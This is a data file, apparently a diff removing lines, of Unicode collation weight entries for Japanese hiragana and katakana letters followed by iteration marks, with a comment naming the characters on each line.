-3078 309E ; [.3BE0.0020.0011.0001][.3BE0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, HIRAGANA VOICED ITERATION MARK>
-30D9 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # <KATAKANA LETTER BE, KATAKANA ITERATION MARK>
-30D8 3099 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8D FF9E 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3079 309D ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002] # <HIRAGANA LETTER BE, HIRAGANA ITERATION MARK>
-3078 3099 309D ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D9 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BE, KATAKANA VOICED ITERATION MARK>
-30D8 3099 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8D FF9E 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3079 309E ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BE, HIRAGANA VOICED ITERATION MARK>
-3078 3099 309E ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30DA 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # <KATAKANA LETTER PE, KATAKANA ITERATION MARK>
-30D8 309A 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8D FF9F 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-307A 309D ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002] # <HIRAGANA LETTER PE, HIRAGANA ITERATION MARK>
-3078 309A 309D ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30DA 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PE, KATAKANA VOICED ITERATION MARK>
-30D8 309A 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8D FF9F 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-307A 309E ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PE, HIRAGANA VOICED ITERATION MARK>
-3078 309A 309E ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30DB 30FD ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002] # <KATAKANA LETTER HO, KATAKANA ITERATION MARK>
-FF8E 30FD ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA ITERATION MARK>
-307B 309D ; [.3BE1.0020.0011.0001][.3BE1.0020.0010.0002] # <HIRAGANA LETTER HO, HIRAGANA ITERATION MARK>
-30DB 30FE ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, KATAKANA VOICED ITERATION MARK>
-FF8E 30FE ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA VOICED ITERATION MARK>
-307B 309E ; [.3BE1.0020.0011.0001][.3BE1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, HIRAGANA VOICED ITERATION MARK>
-30DC 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # <KATAKANA LETTER BO, KATAKANA ITERATION MARK>
-30DB 3099 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8E FF9E 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-307C 309D ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002] # <HIRAGANA LETTER BO, HIRAGANA ITERATION MARK>
-307B 3099 309D ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30DC 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BO, KATAKANA VOICED ITERATION MARK>
-30DB 3099 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8E FF9E 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-307C 309E ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BO, HIRAGANA VOICED ITERATION MARK>
-307B 3099 309E ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30DD 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # <KATAKANA LETTER PO, KATAKANA ITERATION MARK>
-30DB 309A 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8E FF9F 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-307D 309D ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002] # <HIRAGANA LETTER PO, HIRAGANA ITERATION MARK>
-307B 309A 309D ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30DD 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PO, KATAKANA VOICED ITERATION MARK>
-30DB 309A 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8E FF9F 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-307D 309E ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PO, HIRAGANA VOICED ITERATION MARK>
-307B 309A 309E ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30DE 30FD ; [.3BE2.0020.0011.0002][.3BE2.0020.0010.0002] # <KATAKANA LETTER MA, KATAKANA ITERATION MARK>
-FF8F 30FD ; [.3BE2.0020.0011.0002][.3BE2.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MA, KATAKANA ITERATION MARK>
-307E 309D ; [.3BE2.0020.0011.0001][.3BE2.0020.0010.0002] # <HIRAGANA LETTER MA, HIRAGANA ITERATION MARK>
-30DF 30FD ; [.3BE3.0020.0011.0002][.3BE3.0020.0010.0002] # <KATAKANA LETTER MI, KATAKANA ITERATION MARK>
-FF90 30FD ; [.3BE3.0020.0011.0002][.3BE3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MI, KATAKANA ITERATION MARK>
-307F 309D ; [.3BE3.0020.0011.0001][.3BE3.0020.0010.0002] # <HIRAGANA LETTER MI, HIRAGANA ITERATION MARK>
-30E0 30FD ; [.3BE4.0020.0011.0002][.3BE4.0020.0010.0002] # <KATAKANA LETTER MU, KATAKANA ITERATION MARK>
-FF91 30FD ; [.3BE4.0020.0011.0002][.3BE4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MU, KATAKANA ITERATION MARK>
-3080 309D ; [.3BE4.0020.0011.0001][.3BE4.0020.0010.0002] # <HIRAGANA LETTER MU, HIRAGANA ITERATION MARK>
-30E1 30FD ; [.3BE5.0020.0011.0002][.3BE5.0020.0010.0002] # <KATAKANA LETTER ME, KATAKANA ITERATION MARK>
-FF92 30FD ; [.3BE5.0020.0011.0002][.3BE5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER ME, KATAKANA ITERATION MARK>
-3081 309D ; [.3BE5.0020.0011.0001][.3BE5.0020.0010.0002] # <HIRAGANA LETTER ME, HIRAGANA ITERATION MARK>
-30E2 30FD ; [.3BE6.0020.0011.0002][.3BE6.0020.0010.0002] # <KATAKANA LETTER MO, KATAKANA ITERATION MARK>
-FF93 30FD ; [.3BE6.0020.0011.0002][.3BE6.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MO, KATAKANA ITERATION MARK>
-3082 309D ; [.3BE6.0020.0011.0001][.3BE6.0020.0010.0002] # <HIRAGANA LETTER MO, HIRAGANA ITERATION MARK>
-30E3 30FD ; [.3BE7.0020.000F.0002][.3BE7.0020.0010.0002] # <KATAKANA LETTER SMALL YA, KATAKANA ITERATION MARK>
-FF6C 30FD ; [.3BE7.0020.000F.0002][.3BE7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, KATAKANA ITERATION MARK>
-3083 309D ; [.3BE7.0020.000F.0001][.3BE7.0020.0010.0002] # <HIRAGANA LETTER SMALL YA, HIRAGANA ITERATION MARK>
-30E4 30FD ; [.3BE7.0020.0011.0002][.3BE7.0020.0010.0002] # <KATAKANA LETTER YA, KATAKANA ITERATION MARK>
-FF94 30FD ; [.3BE7.0020.0011.0002][.3BE7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YA, KATAKANA ITERATION MARK>
-3084 309D ; [.3BE7.0020.0011.0001][.3BE7.0020.0010.0002] # <HIRAGANA LETTER YA, HIRAGANA ITERATION MARK>
-30E5 30FD ; [.3BE8.0020.000F.0002][.3BE8.0020.0010.0002] # <KATAKANA LETTER SMALL YU, KATAKANA ITERATION MARK>
-FF6D 30FD ; [.3BE8.0020.000F.0002][.3BE8.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, KATAKANA ITERATION MARK>
-3085 309D ; [.3BE8.0020.000F.0001][.3BE8.0020.0010.0002] # <HIRAGANA LETTER SMALL YU, HIRAGANA ITERATION MARK>
-30E6 30FD ; [.3BE8.0020.0011.0002][.3BE8.0020.0010.0002] # <KATAKANA LETTER YU, KATAKANA ITERATION MARK>
-FF95 30FD ; [.3BE8.0020.0011.0002][.3BE8.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YU, KATAKANA ITERATION MARK>
-3086 309D ; [.3BE8.0020.0011.0001][.3BE8.0020.0010.0002] # <HIRAGANA LETTER YU, HIRAGANA ITERATION MARK>
-30E7 30FD ; [.3BEA.0020.000F.0002][.3BEA.0020.0010.0002] # <KATAKANA LETTER SMALL YO, KATAKANA ITERATION MARK>
-FF6E 30FD ; [.3BEA.0020.000F.0002][.3BEA.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, KATAKANA ITERATION MARK>
-3087 309D ; [.3BEA.0020.000F.0001][.3BEA.0020.0010.0002] # <HIRAGANA LETTER SMALL YO, HIRAGANA ITERATION MARK>
-30E8 30FD ; [.3BEA.0020.0011.0002][.3BEA.0020.0010.0002] # <KATAKANA LETTER YO, KATAKANA ITERATION MARK>
-FF96 30FD ; [.3BEA.0020.0011.0002][.3BEA.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YO, KATAKANA ITERATION MARK>
-3088 309D ; [.3BEA.0020.0011.0001][.3BEA.0020.0010.0002] # <HIRAGANA LETTER YO, HIRAGANA ITERATION MARK>
-30E9 30FD ; [.3BEB.0020.0011.0002][.3BEB.0020.0010.0002] # <KATAKANA LETTER RA, KATAKANA ITERATION MARK>
-FF97 30FD ; [.3BEB.0020.0011.0002][.3BEB.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RA, KATAKANA ITERATION MARK>
-3089 309D ; [.3BEB.0020.0011.0001][.3BEB.0020.0010.0002] # <HIRAGANA LETTER RA, HIRAGANA ITERATION MARK>
-30EA 30FD ; [.3BEC.0020.0011.0002][.3BEC.0020.0010.0002] # <KATAKANA LETTER RI, KATAKANA ITERATION MARK>
-FF98 30FD ; [.3BEC.0020.0011.0002][.3BEC.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RI, KATAKANA ITERATION MARK>
-308A 309D ; [.3BEC.0020.0011.0001][.3BEC.0020.0010.0002] # <HIRAGANA LETTER RI, HIRAGANA ITERATION MARK>
-30EB 30FD ; [.3BED.0020.0011.0002][.3BED.0020.0010.0002] # <KATAKANA LETTER RU, KATAKANA ITERATION MARK>
-FF99 30FD ; [.3BED.0020.0011.0002][.3BED.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RU, KATAKANA ITERATION MARK>
-308B 309D ; [.3BED.0020.0011.0001][.3BED.0020.0010.0002] # <HIRAGANA LETTER RU, HIRAGANA ITERATION MARK>
-30EC 30FD ; [.3BEE.0020.0011.0002][.3BEE.0020.0010.0002] # <KATAKANA LETTER RE, KATAKANA ITERATION MARK>
-FF9A 30FD ; [.3BEE.0020.0011.0002][.3BEE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RE, KATAKANA ITERATION MARK>
-308C 309D ; [.3BEE.0020.0011.0001][.3BEE.0020.0010.0002] # <HIRAGANA LETTER RE, HIRAGANA ITERATION MARK>
-30ED 30FD ; [.3BEF.0020.0011.0002][.3BEF.0020.0010.0002] # <KATAKANA LETTER RO, KATAKANA ITERATION MARK>
-FF9B 30FD ; [.3BEF.0020.0011.0002][.3BEF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RO, KATAKANA ITERATION MARK>
-308D 309D ; [.3BEF.0020.0011.0001][.3BEF.0020.0010.0002] # <HIRAGANA LETTER RO, HIRAGANA ITERATION MARK>
-30EE 30FD ; [.3BF0.0020.000F.0002][.3BF0.0020.0010.0002] # <KATAKANA LETTER SMALL WA, KATAKANA ITERATION MARK>
-308E 309D ; [.3BF0.0020.000F.0001][.3BF0.0020.0010.0002] # <HIRAGANA LETTER SMALL WA, HIRAGANA ITERATION MARK>
-30EE 30FE ; [.3BF0.0020.000F.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL WA, KATAKANA VOICED ITERATION MARK>
-308E 309E ; [.3BF0.0020.000F.0001][.3BF0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL WA, HIRAGANA VOICED ITERATION MARK>
-30EF 30FD ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002] # <KATAKANA LETTER WA, KATAKANA ITERATION MARK>
-FF9C 30FD ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA ITERATION MARK>
-308F 309D ; [.3BF0.0020.0011.0001][.3BF0.0020.0010.0002] # <HIRAGANA LETTER WA, HIRAGANA ITERATION MARK>
-30EF 30FE ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WA, KATAKANA VOICED ITERATION MARK>
-FF9C 30FE ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA VOICED ITERATION MARK>
-308F 309E ; [.3BF0.0020.0011.0001][.3BF0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WA, HIRAGANA VOICED ITERATION MARK>
-30F0 30FD ; [.3BF1.0020.0011.0002][.3BF1.0020.0010.0002] # <KATAKANA LETTER WI, KATAKANA ITERATION MARK>
-3090 309D ; [.3BF1.0020.0011.0001][.3BF1.0020.0010.0002] # <HIRAGANA LETTER WI, HIRAGANA ITERATION MARK>
-30F0 30FE ; [.3BF1.0020.0011.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WI, KATAKANA VOICED ITERATION MARK>
-3090 309E ; [.3BF1.0020.0011.0001][.3BF1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WI, HIRAGANA VOICED ITERATION MARK>
-30F1 30FD ; [.3BF2.0020.0011.0002][.3BF2.0020.0010.0002] # <KATAKANA LETTER WE, KATAKANA ITERATION MARK>
-3091 309D ; [.3BF2.0020.0011.0001][.3BF2.0020.0010.0002] # <HIRAGANA LETTER WE, HIRAGANA ITERATION MARK>
-30F1 30FE ; [.3BF2.0020.0011.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WE, KATAKANA VOICED ITERATION MARK>
-3091 309E ; [.3BF2.0020.0011.0001][.3BF2.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WE, HIRAGANA VOICED ITERATION MARK>
-30F2 30FD ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002] # <KATAKANA LETTER WO, KATAKANA ITERATION MARK>
-FF66 30FD ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA ITERATION MARK>
-3092 309D ; [.3BF3.0020.0011.0001][.3BF3.0020.0010.0002] # <HIRAGANA LETTER WO, HIRAGANA ITERATION MARK>
-30F2 30FE ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WO, KATAKANA VOICED ITERATION MARK>
-FF66 30FE ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA VOICED ITERATION MARK>
-3092 309E ; [.3BF3.0020.0011.0001][.3BF3.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WO, HIRAGANA VOICED ITERATION MARK>
-30F3 30FD ; [.3BF4.0020.0011.0002][.3BF4.0020.0010.0002] # <KATAKANA LETTER N, KATAKANA ITERATION MARK>
-FF9D 30FD ; [.3BF4.0020.0011.0002][.3BF4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER N, KATAKANA ITERATION MARK>
-3093 309D ; [.3BF4.0020.0011.0001][.3BF4.0020.0010.0002] # <HIRAGANA LETTER N, HIRAGANA ITERATION MARK>
-30F4 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # <KATAKANA LETTER VU, KATAKANA ITERATION MARK>
-30A6 3099 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF73 FF9E 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3094 309D ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002] # <HIRAGANA LETTER VU, HIRAGANA ITERATION MARK>
-3046 3099 309D ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30F4 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VU, KATAKANA VOICED ITERATION MARK>
-30A6 3099 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF73 FF9E 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3094 309E ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER VU, HIRAGANA VOICED ITERATION MARK>
-3046 3099 309E ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30F5 30FD ; [.3BC9.0020.000F.0002][.3BC9.0020.0010.0002] # <KATAKANA LETTER SMALL KA, KATAKANA ITERATION MARK>
-3095 309D ; [.3BC9.0020.000F.0001][.3BC9.0020.0010.0002] # <HIRAGANA LETTER SMALL KA, HIRAGANA ITERATION MARK>
-30F5 30FE ; [.3BC9.0020.000F.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KA, KATAKANA VOICED ITERATION MARK>
-3095 309E ; [.3BC9.0020.000F.0001][.3BC9.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL KA, HIRAGANA VOICED ITERATION MARK>
-30F6 30FD ; [.3BCC.0020.000F.0002][.3BCC.0020.0010.0002] # <KATAKANA LETTER SMALL KE, KATAKANA ITERATION MARK>
-3096 309D ; [.3BCC.0020.000F.0001][.3BCC.0020.0010.0002] # <HIRAGANA LETTER SMALL KE, HIRAGANA ITERATION MARK>
-30F6 30FE ; [.3BCC.0020.000F.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KE, KATAKANA VOICED ITERATION MARK>
-3096 309E ; [.3BCC.0020.000F.0001][.3BCC.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL KE, HIRAGANA VOICED ITERATION MARK>
-30F7 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # <KATAKANA LETTER VA, KATAKANA ITERATION MARK>
-30EF 3099 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF9C FF9E 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-30F7 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VA, KATAKANA VOICED ITERATION MARK>
-30EF 3099 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF9C FF9E 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-30F8 30FD ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002] # <KATAKANA LETTER VI, KATAKANA ITERATION MARK>
-30F0 3099 30FD ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-30F8 30FE ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VI, KATAKANA VOICED ITERATION MARK>
-30F0 3099 30FE ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-30F9 30FD ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002] # <KATAKANA LETTER VE, KATAKANA ITERATION MARK>
-30F1 3099 30FD ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-30F9 30FE ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VE, KATAKANA VOICED ITERATION MARK>
-30F1 3099 30FE ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-30FA 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # <KATAKANA LETTER VO, KATAKANA ITERATION MARK>
-30F2 3099 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF66 FF9E 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-30FA 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VO, KATAKANA VOICED ITERATION MARK>
-30F2 3099 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF66 FF9E 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-31F0 30FD ; [.3BCB.0020.000F][.3BCB.0020.0010.0002] # <KATAKANA LETTER SMALL KU, KATAKANA ITERATION MARK>
-31F0 30FE ; [.3BCB.0020.000F][.3BCB.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KU, KATAKANA VOICED ITERATION MARK>
